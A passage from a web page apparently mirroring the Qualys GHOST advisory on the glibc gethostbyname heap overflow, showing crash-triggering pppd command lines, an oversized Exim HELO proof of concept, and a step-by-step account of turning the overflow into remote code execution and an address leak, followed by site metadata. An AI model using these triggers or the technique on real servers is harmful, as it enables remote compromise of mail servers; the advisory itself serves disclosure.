  \/usr\/sbin\/pppd(options_for_tty+0xde)[0x8064d7e]\\n    \/usr\/sbin\/pppd(tty_process_extra_options+0xa4)[0x806e1a4]\\n    \/usr\/sbin\/pppd(main+0x1cf)[0x8050b2f]\\n    \/lib\/i386-linux-gnu\/libc.so.6(__libc_start_main+0xf3)[0xb75854d3]\\n    ======= Memory map: ========\\n    &#8230;\\n    09c0c000-09c2d000 rw-p 00000000 00:00 0          [heap]\\n    &#8230;\\n    Aborted (core dumped)\\n    \\n    &#8212;&#8212;[ 4.6.2 &#8211; ms-wins option ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\n    \\n    static int\\n    setwinsaddr(argv)\\n        char **argv;\\n    {\\n        u_int32_t wins;\\n        struct hostent *hp;\\n    \\n        wins = inet_addr(*argv);\\n        if (wins == (u_int32_t) -1) {\\n            if ((hp = gethostbyname(*argv)) == NULL) {\\n                option_error(\\&#8221;invalid address parameter &#8216;%s&#8217; for ms-wins option\\&#8221;,\\n                             *argv);\\n                return 0;\\n            }\\n            wins = *(u_int32_t *)hp-\\u003eh_addr;\\n        }\\n    \\n    user@ubuntu-12-04-32b:~$ \/usr\/sbin\/pppd &#8216;dryrun&#8217; &#8216;ms-wins&#8217; `python -c \\&#8221;print &#8216;0&#8217; * $((0x1000-16*1-2*4-16-4))\\&#8221;`&#8217;377.255.255.255&#8217;\\n    *** glibc detected *** \/usr\/sbin\/pppd: free(): invalid next size (normal): 0x08a64928 ***\\n    ======= Backtrace: =========\\n    \/lib\/i386-linux-gnu\/libc.so.6(+0x75ee2)[0xb757aee2]\\n    \/lib\/i386-linux-gnu\/libc.so.6(+0x65db5)[0xb756adb5]\\n    \/lib\/i386-linux-gnu\/libc.so.6(fopen+0x2b)[0xb756adeb]\\n    \/usr\/sbin\/pppd(options_from_file+0xa8)[0x8064948]\\n    \/usr\/sbin\/pppd(options_for_tty+0xde)[0x8064d7e]\\n    \/usr\/sbin\/pppd(tty_process_extra_options+0xa4)[0x806e1a4]\\n    \/usr\/sbin\/pppd(main+0x1cf)[0x8050b2f]\\n    \/lib\/i386-linux-gnu\/libc.so.6(__libc_start_main+0xf3)[0xb751e4d3]\\n    ======= Memory map: ========\\n    &#8230;\\n    08a61000-08a82000 rw-p 00000000 00:00 0          [heap]\\n    &#8230;\\n    Aborted (core dumped)\\n    \\n    &#8212;&#8212;[ 4.6.3 &#8211; socket option ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    \\n    static int\\n    open_socket(dest)\\n        char *dest;\\n    {\\n        char *sep, *endp = NULL;\\n        int sock, port = -1;\\n        u_int32_t host;\\n        struct hostent *hent;\\n        &#8230;\\n        sep = strchr(dest, &#8216;:&#8217;);\\n        if (sep != NULL)\\n            port = strtol(sep+1, \\u0026endp, 10);\\n        if (port \\u003c 0 || endp == sep+1 || sep == dest) {\\n            error(\\&#8221;Can&#8217;t parse host:port for socket destination\\&#8221;);\\n            return -1;\\n        }\\n        *sep = 0;\\n        host = inet_addr(dest);\\n        if (host == (u_int32_t) -1) {\\n            hent = gethostbyname(dest);\\n            if (hent == NULL) {\\n                error(\\&#8221;%s: unknown host in socket option\\&#8221;, dest);\\n                *sep = &#8216;:&#8217;;\\n                return -1;\\n            }\\n            host = *(u_int32_t *)(hent-\\u003eh_addr_list[0]);\\n        }\\n    \\n    user@ubuntu-12-04-32b:~$ \/usr\/sbin\/pppd &#8216;socket&#8217; `python -c \\&#8221;print &#8216;0&#8217; * $((0x1000-16*1-2*4-16-4))\\&#8221;`&#8217;377.255.255.255:1&#8217;\\n    user@ubuntu-12-04-32b:~$ *** glibc detected *** \/usr\/sbin\/pppd: malloc(): memory corruption: 0x09cce270 ***\\n    \\n    &#8212;-[ 4.7 &#8211; Exim ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    The Exim mail server is exploitable remotely if configured to perform\\n    extra security checks on the HELO and EHLO commands (\\&#8221;helo_verify_hosts\\&#8221;\\n    or \\&#8221;helo_try_verify_hosts\\&#8221; option, or \\&#8221;verify = helo\\&#8221; ACL); we developed\\n    a reliable and fully-functional exploit that bypasses all existing\\n    protections (ASLR, PIE, NX) on 32-bit and 64-bit machines.\\n    \\n    user@debian-7-7-64b:~$ grep helo \/var\/lib\/exim4\/config.autogenerated | grep verify\\n    helo_verify_hosts = *\\n    \\n    user@debian-7-7-64b:~$ python -c \\&#8221;print &#8216;0&#8217; * $((0x500-16*1-2*8-1-8))\\&#8221;\\n    000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\\n    \\n    user@debian-7-7-64b:~$ telnet 127.0.0.1 25\\n    Trying 127.0.0.1&#8230;\\n    Connected to 127.0.0.1.\\n    Escape character is &#8216;^]&#8217;.\\n    220 debian-7-7-64b ESMTP Exim 4.80 &#8230;\\n    HELO 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\\n    Connection closed by foreign host.\\n    \\n    user@debian-7-7-64b:~$ dmesg\\n    &#8230;\\n    [ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in libc-2.13.so[7fabef2a2000+182000]\\n    \\n    \\n    &#8211;[ 5 &#8211; Exploitation ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    \\n    &#8212;-[ 5.1 &#8211; Code execution ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    \\n    In this section, we describe how we achieve remote code execution\\n    against the Exim SMTP mail server, bypassing the NX (No-eXecute)\\n    protection and glibc&#8217;s malloc hardening.\\n    \\n    First, we overflow gethostbyname&#8217;s heap-based buffer and partially\\n    overwrite the size field of the next contiguous free chunk of memory\\n    with a slightly larger size (we overwrite only 3 bytes of the size\\n    field; in any case, we cannot overflow more than 4 bytes on 32-bit\\n    machines, or 8 bytes on 64-bit machines):\\n    \\n    \\n                                |\\u003c malloc_chunk\\n                                |\\n    &#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;|&#8212;&#8211;\\n     &#8230; | gethostbyname buffer |p|s|f|b|F|B| free chunk | &#8230;\\n    &#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;|&#8212;&#8211;\\n         |                         X|\\n         |&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\u003e|\\n                   overflow\\n    \\n    where:\\n    \\n    struct malloc_chunk {\\n    \\n      INTERNAL_SIZE_T      prev_size;  \/* Size of previous chunk (if free).  *\/\\n      INTERNAL_SIZE_T      size;       \/* Size in bytes, including overhead. *\/\\n    \\n      struct malloc_chunk* fd;         \/* double links &#8212; used only if free. *\/\\n      struct malloc_chunk* bk;\\n    \\n      \/* Only used for large blocks: pointer to next larger size.  *\/\\n      struct malloc_chunk* fd_nextsize; \/* double links &#8212; used only if free. *\/\\n      struct malloc_chunk* bk_nextsize;\\n    };\\n    \\n    and: X marks the spot where the crucial memory corruption takes place.\\n    \\n    \\n    As a result, this artificially-enlarged free chunk, which is managed by\\n    glibc&#8217;s malloc, overlaps another block of memory, Exim&#8217;s current_block,\\n    which is managed by Exim&#8217;s internal memory allocator:\\n    \\n    \\n                                |\\u003c malloc_chunk          |\\u003c storeblock\\n                                |                        |\\n    &#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;|&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;|&#8212;&#8211;\\n     &#8230; | gethostbyname buffer |p|s|f|b|F|B| free chunk |n|l| current_block | &#8230;\\n    &#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;|&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;|&#8212;&#8211;\\n                                |                                        |\\n                                |\\u003c&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\u003e|\\n                                     artificially enlarged free chunk\\n    \\n    where:\\n    \\n    typedef struct storeblock {\\n      struct storeblock *next;\\n      size_t length;\\n    } storeblock;\\n    \\n    \\n    Then, we partially allocate the enlarged free chunk and overwrite the\\n    beginning of Exim&#8217;s current_block of memory (the \\&#8221;storeblock\\&#8221; structure)\\n    with arbitrary data. In particular, we overwrite its \\&#8221;next\\&#8221; field:\\n    \\n    \\n                                |\\u003c malloc_chunk          |\\u003c storeblock\\n                                |                        |\\n    &#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;|&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-|&#8212;&#8211;\\n     &#8230; | gethostbyname buffer |p|s|f|b|F|B| aaaaaaaaaa |n|l| current_block | &#8230;\\n    &#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;|&#8212;&#8212;&#8211;+&#8212;&#8212;&#8212;-|&#8212;&#8211;\\n                                |                         X       |\\n                                |\\u003c&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\u003e|\\n                                          allocated chunk\\n    \\n    \\n    This effectively turns gethostbyname&#8217;s buffer overflow into a\\n    write-anything-anywhere primitive, because we control both the pointer\\n    to the next block of memory returned by Exim&#8217;s allocator (the hijacked\\n    \\&#8221;next\\&#8221; pointer) and the data allocated (a null-terminated string, the\\n    argument of an SMTP command we send to Exim).\\n    \\n    Finally, we use this write-anything-anywhere primitive to overwrite\\n    Exim&#8217;s run-time configuration, which is cached in the heap memory. More\\n    precisely, we overwrite Exim&#8217;s Access Control Lists (ACLs), and achieve\\n    arbitrary command execution thanks to Exim&#8217;s \\&#8221;${run{\\u003ccommand\\u003e \\u003cargs\\u003e}}\\&#8221;\\n    string expansion mechanism:\\n    \\n                                                         |\\u003c storeblock\\n                                                         |\\n    &#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8211;\\n     &#8230; | Exim&#8217;s run-time configuration | &#8230; .. .. &#8230; |n|l| current_block | &#8230;\\n    &#8212;&#8211;|&#8212;-x&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;|x&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;|&#8212;&#8211;\\n              |                                           |\\n              &#8216;\\u003c&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8216;\\n                          hijacked next pointer\\n    \\n    \\n                    |\\u003c ACLs \\u003e|\\n    &#8212;&#8211;|&#8212;-+&#8212;&#8211;+&#8212;&#8212;&#8211;+&#8212;&#8212;+&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8211;\\n     &#8230; | Exim&#8217;s run-time configuration | &#8230; .. .. &#8230; | old current_block | &#8230;\\n    &#8212;&#8211;|&#8212;-+&#8212;&#8211;+&#8212;&#8212;&#8211;+&#8212;&#8212;+&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8211;\\n              |      XXXXXXXX       |\\n              |\\u003c&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\u003e|\\n                 new current_block\\n    \\n    \\n    &#8212;-[ 5.2 &#8211; Information leak ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\n    \\n    The success of this exploit depends on an important piece of\\n    information: the address of Exim&#8217;s run-time configuration in the heap.\\n    In this section, we describe how we obtain this address, bypassing the\\n    ASLR (Address Space Layout Randomization) and PIE (Position Independent\\n    Executable) protections.\\n    \\n    First, we overflow gethostbyname&#8217;s heap-based buffer and partially\\n    overwrite the size field of the next contiguous free chunk of memory\\n    with a slightly larger size:\\n    \\n    \\n                                |\\u003c malloc_chunk\\n                                |\\n    &#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8211;\\n     &#8230; | gethostbyname buffer |p|s|f|b|F|B| next free chunk | &#8230;\\n    &#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8211;\\n         |                         X|\\n         |&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\u003e|\\n                   overflow\\n    \\n    \\n    As a result, this artificially-enlarged free chunk overlaps another\\n    block of memory, where Exim saves the error message \\&#8221;503 sender not yet\\n    given\\\\r\\\\n\\&#8221; for later use:\\n    \\n    \\n                                |\\u003c malloc_chunk\\n                                |\\n    &#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;|&#8212;&#8212;&#8212;-+&#8212;-|&#8212;&#8211;\\n     &#8230; | gethostbyname buffer |p|s|f|b|F|B| real free chunk | error message | &#8230;\\n    &#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;|&#8212;&#8212;&#8212;-+&#8212;-|&#8212;&#8211;\\n                                |                                        |\\n                                |\\u003c&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\u003e|\\n                                     artificially enlarged free chunk\\n    \\n    \\n    Then, we partially allocate the artificially-enlarged free chunk,\\n    thereby splitting it in two: the newly allocated chunk, and a smaller,\\n    free chunk (the remainder from the split). The malloc_chunk header for\\n    this remaining free chunk overwrites the very beginning of the saved\\n    error message with a pointer to the heap (the fd_nextsize pointer):\\n    \\n    \\n                                |\\u003c malloc_chunk       |\\u003c malloc_chunk\\n                                |                     |\\n    &#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;-|&#8212;&#8212;&#8212;-+&#8212;-|&#8212;&#8211;\\n     &#8230; | gethostbyname buffer |p|s|f|b|F|B| aaaaaaa |p|s|f|b|F|B| r message | &#8230;\\n    &#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;+&#8212;&#8212;-|&#8212;&#8212;&#8212;-+&#8212;-|&#8212;&#8211;\\n                                |                     |        X         |\\n                                |\\u003c&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\u003e|\\u003c&#8212;&#8212;&#8212;&#8212;&#8212;-\\u003e|\\n                                    allocated chunk        free chunk\\n    \\n    \\n    Finally, we send an invalid SMTP command to Exim, and retrieve the\\n    fd_nextsize heap pointer from Exim&#8217;s SMTP response, which includes the\\n    corrupted error message. This effectively turns gethostbyname&#8217;s buffer\\n    overflow into an information leak; moreover, it allows us to distinguish\\n    between 32-bit and 64-bit machines.\\n    \\n    \\n    &#8211;[ 6 &#8211; Acknowledgments ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\n    \\n    We would like to thank Alexander Peslyak of the Openwall Project for his\\n    help with the disclosure process of this vulnerability.&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215330&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;AV:N\/AC:L\/Au:N\/C:C\/I:C\/A:C&#8221;,&#8221;version&#8221;:&#8221;2.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215330\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-11T17:56:49&#8243;,&#8221;description&#8221;:&#8221;During a code audit performed internally at Qualys, they discovered a buffer overflow in the nsshostnamedigitsdots function of the GNU C Library glibc. This bug&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,36,12,15,13,53,7,11,5],"class_list":["post-40486","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Qualys Security Advisory - GHOST glibc gethostbyname Buffer Overflow_PACKETSTORM:215330 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=40486\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Qualys Security Advisory - GHOST glibc gethostbyname Buffer Overflow_PACKETSTORM:215330 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-11T17:56:49&#8243;,&#8221;description&#8221;:&#8221;During a code audit performed internally at Qualys, they discovered a buffer overflow in the nsshostnamedigitsdots function of the GNU C Library glibc. This bug...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=40486\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-11T12:47:35+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"26 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40486#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40486\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Qualys Security Advisory &#8211; GHOST glibc gethostbyname Buffer Overflow_PACKETSTORM:215330\",\"datePublished\":\"2026-02-11T12:47:35+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40486\"},\"wordCount\":5195,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=40486#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40486\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40486\",\"name\":\"\ud83d\udcc4 Qualys Security Advisory - GHOST glibc gethostbyname Buffer Overflow_PACKETSTORM:215330 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-11T12:47:35+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40486#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=40486\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40486#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Qualys Security Advisory &#8211; GHOST glibc gethostbyname Buffer Overflow_PACKETSTORM:215330\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Qualys Security Advisory - GHOST glibc gethostbyname Buffer Overflow_PACKETSTORM:215330 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=40486","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Qualys Security Advisory - GHOST glibc gethostbyname Buffer Overflow_PACKETSTORM:215330 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-11T17:56:49&#8243;,&#8221;description&#8221;:&#8221;During a code audit performed internally at Qualys, they discovered a buffer overflow in the nsshostnamedigitsdots function of the GNU C Library glibc. This bug...","og_url":"https:\/\/zero.redgem.net\/?p=40486","og_site_name":"zero redgem","article_published_time":"2026-02-11T12:47:35+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"26 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=40486#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=40486"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Qualys Security Advisory &#8211; GHOST glibc gethostbyname Buffer 